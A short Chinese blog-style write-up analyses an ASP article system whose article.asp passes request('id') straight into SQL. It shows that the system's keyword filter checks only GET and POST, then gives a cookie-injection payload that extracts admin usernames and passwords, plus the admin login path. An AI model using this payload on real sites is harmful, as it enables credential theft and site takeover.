By:暗月式

    今天无聊就找了个简单的系统来分析学习,首先打开 article.asp 见如此语句:

以下是引用片段:

</TR></TBODY></TABLE></TD>
<TD vAlign=top align=middle width=1 bgColor=#cccccc></TD>
<TD vAlign=top align=middle width=592 bgColor=#ffffff>
<%
set rs=conn.execute("select * from article where id="&request("id"))%>完全用request接收
<TABLE cellSpacing=0 cellPadding=6 width="96%" border=0>
<TBODY>
<TR>
<TD class=xx vAlign=bottom height=30>■ <%=rs("classname")%> &gt;
<%=rs("title")%></TD>
</TR></TBODY></TABLE>

    随即看上内容:

<!--#include file="admin/Check_SqlIn.asp"-->

    直接打开:Check_SqlIn.asp。

以下是引用片段:

<%
'SQL通用防注入程序,只需要在conn.asp之类的打开数据库文件之前引用这个页面即可
dim sql_injdata
SQL_injdata ="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=JavaScript>alert('提示:请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=JavaScript>alert('提示:请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"
Response.end
end if
next
next
end if
%>

    很明显只是过滤 get 和 post,存在 cookies 注入,附上 Exp:

    javascript:alert(document.cookie="id="+escape("95 and 1=2 union select 1,2,3,user,5,6,password,8,9,10,11,12,13,14 from admin"));

    后台地址:admin/admin_login.asp。